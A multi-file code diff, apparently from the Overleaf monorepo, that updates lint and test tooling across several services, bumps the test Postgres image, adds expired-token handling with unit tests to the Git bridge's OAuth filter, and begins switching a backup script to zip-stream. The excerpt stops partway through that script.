RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
docstore
|
docstore
|
||||||
--dependencies=mongo,gcs
|
--dependencies=mongo,gcs
|
||||||
|
--deploy-pipeline=docstore
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -57,6 +57,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -69,8 +73,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
document-updater
|
document-updater
|
||||||
--dependencies=mongo,redis
|
--dependencies=mongo,redis
|
||||||
|
--deploy-pipeline=document-updater
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -0,0 +1,3 @@
|
|||||||
|
declare module 'mongodb-legacy' {
|
||||||
|
export * from 'mongodb'
|
||||||
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -53,6 +53,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -66,8 +70,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/filestore/reports:/overleaf/services/filestore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
filestore
|
filestore
|
||||||
--data-dirs=uploads,template_files
|
--data-dirs=uploads,template_files
|
||||||
--dependencies=s3,gcs
|
--dependencies=s3,gcs
|
||||||
|
--deploy-pipeline=filestore-readonly
|
||||||
--env-add=ENABLE_CONVERSIONS=true,USE_PROM_METRICS=true,AWS_S3_USER_FILES_STORAGE_CLASS=REDUCED_REDUNDANCY,AWS_S3_USER_FILES_BUCKET_NAME=fake-user-files,AWS_S3_USER_FILES_DEK_BUCKET_NAME=fake-user-files-dek,AWS_S3_TEMPLATE_FILES_BUCKET_NAME=fake-template-files,GCS_USER_FILES_BUCKET_NAME=fake-gcs-user-files,GCS_TEMPLATE_FILES_BUCKET_NAME=fake-gcs-template-files
|
--env-add=ENABLE_CONVERSIONS=true,USE_PROM_METRICS=true,AWS_S3_USER_FILES_STORAGE_CLASS=REDUCED_REDUNDANCY,AWS_S3_USER_FILES_BUCKET_NAME=fake-user-files,AWS_S3_USER_FILES_DEK_BUCKET_NAME=fake-user-files-dek,AWS_S3_TEMPLATE_FILES_BUCKET_NAME=fake-template-files,GCS_USER_FILES_BUCKET_NAME=fake-gcs-user-files,GCS_TEMPLATE_FILES_BUCKET_NAME=fake-gcs-template-files
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -15,6 +15,10 @@ IMAGE_REPO_BRANCH ?= $(IMAGE_REPO):$(BRANCH_NAME_TAG_SAFE)
|
|||||||
IMAGE_REPO_MAIN ?= $(IMAGE_REPO):main
|
IMAGE_REPO_MAIN ?= $(IMAGE_REPO):main
|
||||||
IMAGE_REPO_FINAL ?= $(IMAGE_REPO_BRANCH)-$(BUILD_NUMBER)
|
IMAGE_REPO_FINAL ?= $(IMAGE_REPO_BRANCH)-$(BUILD_NUMBER)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
runtime-conf:
|
runtime-conf:
|
||||||
/opt/envsubst < conf/envsubst_template.json > conf/runtime.json
|
/opt/envsubst < conf/envsubst_template.json > conf/runtime.json
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,10 @@ import com.google.api.client.http.GenericUrl;
|
|||||||
import com.google.api.client.http.HttpHeaders;
|
import com.google.api.client.http.HttpHeaders;
|
||||||
import com.google.api.client.http.HttpRequest;
|
import com.google.api.client.http.HttpRequest;
|
||||||
import com.google.api.client.http.HttpResponse;
|
import com.google.api.client.http.HttpResponse;
|
||||||
|
import com.google.gson.Gson;
|
||||||
|
import com.google.gson.JsonElement;
|
||||||
|
import com.google.gson.JsonObject;
|
||||||
|
import com.google.gson.JsonSyntaxException;
|
||||||
import jakarta.servlet.*;
|
import jakarta.servlet.*;
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
@@ -107,15 +111,18 @@ public class Oauth2Filter implements Filter {
|
|||||||
// fail later (for example, in the unlikely event that the token
|
// fail later (for example, in the unlikely event that the token
|
||||||
// expired between the two requests). In that case, JGit will
|
// expired between the two requests). In that case, JGit will
|
||||||
// return a 401 without a custom error message.
|
// return a 401 without a custom error message.
|
||||||
int statusCode = checkAccessToken(this.oauth2Server, password, getClientIp(request));
|
AccessTokenCheck check = checkAccessToken(this.oauth2Server, password, getClientIp(request));
|
||||||
if (statusCode == 429) {
|
if (check.statusCode == 429) {
|
||||||
handleRateLimit(projectId, username, request, response);
|
handleRateLimit(projectId, username, request, response);
|
||||||
return;
|
return;
|
||||||
} else if (statusCode == 401) {
|
} else if (check.statusCode == 401 && "token_expired".equals(check.errorCode)) {
|
||||||
|
handleExpiredAccessToken(projectId, request, response);
|
||||||
|
return;
|
||||||
|
} else if (check.statusCode == 401) {
|
||||||
handleBadAccessToken(projectId, request, response);
|
handleBadAccessToken(projectId, request, response);
|
||||||
return;
|
return;
|
||||||
} else if (statusCode >= 400) {
|
} else if (check.statusCode >= 400) {
|
||||||
handleUnknownOauthServerError(projectId, statusCode, request, response);
|
handleUnknownOauthServerError(projectId, check.statusCode, request, response);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
cred.setAccessToken(password);
|
cred.setAccessToken(password);
|
||||||
@@ -229,8 +236,52 @@ public class Oauth2Filter implements Filter {
|
|||||||
"https://www.overleaf.com/learn/how-to/Git_integration"));
|
"https://www.overleaf.com/learn/how-to/Git_integration"));
|
||||||
}
|
}
|
||||||
|
|
||||||
private int checkAccessToken(String oauth2Server, String accessToken, String clientIp)
|
private void handleExpiredAccessToken(
|
||||||
|
String projectId, HttpServletRequest request, HttpServletResponse response)
|
||||||
throws IOException {
|
throws IOException {
|
||||||
|
Log.debug("[{}] Expired access token, ip={}", projectId, getClientIp(request));
|
||||||
|
sendResponse(
|
||||||
|
response,
|
||||||
|
401,
|
||||||
|
Arrays.asList(
|
||||||
|
"Your Overleaf Git authentication token has expired.",
|
||||||
|
"",
|
||||||
|
"Generate a new authentication token in your Overleaf Account Settings,",
|
||||||
|
"then run the git command again."));
|
||||||
|
}
|
||||||
|
|
||||||
|
static class AccessTokenCheck {
|
||||||
|
final int statusCode;
|
||||||
|
final String errorCode;
|
||||||
|
|
||||||
|
AccessTokenCheck(int statusCode, String errorCode) {
|
||||||
|
this.statusCode = statusCode;
|
||||||
|
this.errorCode = errorCode;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static String parseErrorCode(String body) {
|
||||||
|
if (body == null || body.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
JsonElement element = new Gson().fromJson(body, JsonElement.class);
|
||||||
|
if (element == null || !element.isJsonObject()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
JsonObject obj = element.getAsJsonObject();
|
||||||
|
JsonElement codeElement = obj.get("error_code");
|
||||||
|
if (codeElement == null || codeElement.isJsonNull()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return codeElement.getAsString();
|
||||||
|
} catch (JsonSyntaxException | UnsupportedOperationException e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private AccessTokenCheck checkAccessToken(
|
||||||
|
String oauth2Server, String accessToken, String clientIp) throws IOException {
|
||||||
GenericUrl url = new GenericUrl(oauth2Server + "/oauth/token/info?client_ip=" + clientIp);
|
GenericUrl url = new GenericUrl(oauth2Server + "/oauth/token/info?client_ip=" + clientIp);
|
||||||
HttpRequest request = Instance.httpRequestFactory.buildGetRequest(url);
|
HttpRequest request = Instance.httpRequestFactory.buildGetRequest(url);
|
||||||
HttpHeaders headers = new HttpHeaders();
|
HttpHeaders headers = new HttpHeaders();
|
||||||
@@ -239,8 +290,12 @@ public class Oauth2Filter implements Filter {
|
|||||||
request.setThrowExceptionOnExecuteError(false);
|
request.setThrowExceptionOnExecuteError(false);
|
||||||
HttpResponse response = request.execute();
|
HttpResponse response = request.execute();
|
||||||
int statusCode = response.getStatusCode();
|
int statusCode = response.getStatusCode();
|
||||||
|
String errorCode = null;
|
||||||
|
if (statusCode >= 400 && statusCode < 500) {
|
||||||
|
errorCode = parseErrorCode(response.parseAsString());
|
||||||
|
}
|
||||||
response.disconnect();
|
response.disconnect();
|
||||||
return statusCode;
|
return new AccessTokenCheck(statusCode, errorCode);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void handleUnknownOauthServerError(
|
private void handleUnknownOauthServerError(
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package uk.ac.ic.wlgitbridge.server;
|
||||||
|
|
||||||
|
import org.junit.Assert;
|
||||||
|
import org.junit.Test;
|
||||||
|
|
||||||
|
public class Oauth2FilterTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsTokenExpired_whenBodyContainsIt() {
|
||||||
|
String body = "{\"error\":\"invalid_token\",\"error_code\":\"token_expired\"}";
|
||||||
|
Assert.assertEquals("token_expired", Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsTokenInvalid_whenBodyContainsIt() {
|
||||||
|
String body = "{\"error\":\"invalid_token\",\"error_code\":\"token_invalid\"}";
|
||||||
|
Assert.assertEquals("token_invalid", Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenErrorCodeFieldIsMissing() {
|
||||||
|
String body = "{\"error\":\"invalid_token\"}";
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsNull() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(null));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsEmpty() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(""));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsNotJson() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode("not json at all"));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenBodyIsJsonArray() {
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode("[1, 2, 3]"));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void parseErrorCode_returnsNull_whenErrorCodeFieldIsJsonNull() {
|
||||||
|
String body = "{\"error\":\"invalid_token\",\"error_code\":null}";
|
||||||
|
Assert.assertNull(Oauth2Filter.parseErrorCode(body));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
archive/
|
|
||||||
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -59,6 +59,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -71,8 +75,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/history-v1/reports:/overleaf/services/history-v1/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
history-v1
|
history-v1
|
||||||
--dependencies=postgres,gcs,mongo,redis,s3
|
--dependencies=postgres,gcs,mongo,redis,s3
|
||||||
|
--deploy-pipeline=history-v1
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -109,7 +109,7 @@ services:
|
|||||||
- mongo:127.0.0.1
|
- mongo:127.0.0.1
|
||||||
|
|
||||||
postgres:
|
postgres:
|
||||||
image: postgres:10
|
image: postgres:14
|
||||||
environment:
|
environment:
|
||||||
POSTGRES_USER: overleaf
|
POSTGRES_USER: overleaf
|
||||||
POSTGRES_PASSWORD: overleaf
|
POSTGRES_PASSWORD: overleaf
|
||||||
|
|||||||
@@ -124,7 +124,7 @@ services:
|
|||||||
- mongo:127.0.0.1
|
- mongo:127.0.0.1
|
||||||
|
|
||||||
postgres:
|
postgres:
|
||||||
image: postgres:10
|
image: postgres:14
|
||||||
environment:
|
environment:
|
||||||
POSTGRES_USER: overleaf
|
POSTGRES_USER: overleaf
|
||||||
POSTGRES_PASSWORD: overleaf
|
POSTGRES_PASSWORD: overleaf
|
||||||
|
|||||||
@@ -44,7 +44,8 @@
|
|||||||
"temp": "^0.8.3",
|
"temp": "^0.8.3",
|
||||||
"throng": "^4.0.0",
|
"throng": "^4.0.0",
|
||||||
"tsscmp": "^1.0.6",
|
"tsscmp": "^1.0.6",
|
||||||
"utf-8-validate": "^5.0.4"
|
"utf-8-validate": "^5.0.4",
|
||||||
|
"zip-stream": "^7.0.2"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@overleaf/migrations": "workspace:*",
|
"@overleaf/migrations": "workspace:*",
|
||||||
|
|||||||
@@ -185,13 +185,30 @@ class BackupBlobStore {
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @typedef {(import('archiver').Archiver)} Archiver
|
* @typedef {(import('zip-stream').default)} ZipStream
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @typedef {(import('overleaf-editor-core').FileMap)} FileMap
|
* @typedef {(import('overleaf-editor-core').FileMap)} FileMap
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Promisified wrapper for ZipStream's entry method.
|
||||||
|
*
|
||||||
|
* @param {ZipStream} archive
|
||||||
|
* @param {Buffer|NodeJS.ReadableStream|string} source
|
||||||
|
* @param {{ name: string }} data
|
||||||
|
* @return {Promise<void>}
|
||||||
|
*/
|
||||||
|
function addEntry(archive, source, data) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
archive.entry(source, data, err => {
|
||||||
|
if (err) reject(err)
|
||||||
|
else resolve()
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
*
|
*
|
||||||
* @param historyId
|
* @param historyId
|
||||||
@@ -254,14 +271,15 @@ async function fetchBlob(historyId, hash, persistor) {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @typedef {object} AddChunkOptions
|
* @typedef {object} AddChunkOptions
|
||||||
* @property {string} [prefix] Should include trailing slash (if length > 0)
|
* @property {string} [prefix]
|
||||||
* @property {boolean} [useBackupGlobalBlobs]
|
* @property {boolean} [useBackupGlobalBlobs]
|
||||||
|
* @property {boolean} [verbose]
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
/**
|
||||||
*
|
*
|
||||||
* @param {History} history
|
* @param {History} history
|
||||||
* @param {Archiver} archive
|
* @param {ZipStream} archive
|
||||||
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
* @param {CachedPerProjectEncryptedS3Persistor} projectCache
|
||||||
* @param {string} historyId
|
* @param {string} historyId
|
||||||
* @param {AddChunkOptions} [options]
|
* @param {AddChunkOptions} [options]
|
||||||
@@ -272,7 +290,7 @@ async function addChunkToArchive(
|
|||||||
archive,
|
archive,
|
||||||
projectCache,
|
projectCache,
|
||||||
historyId,
|
historyId,
|
||||||
{ prefix = '', useBackupGlobalBlobs = false } = {}
|
{ prefix = '', useBackupGlobalBlobs = false, verbose = false } = {}
|
||||||
) {
|
) {
|
||||||
const chunkBlobs = new Set()
|
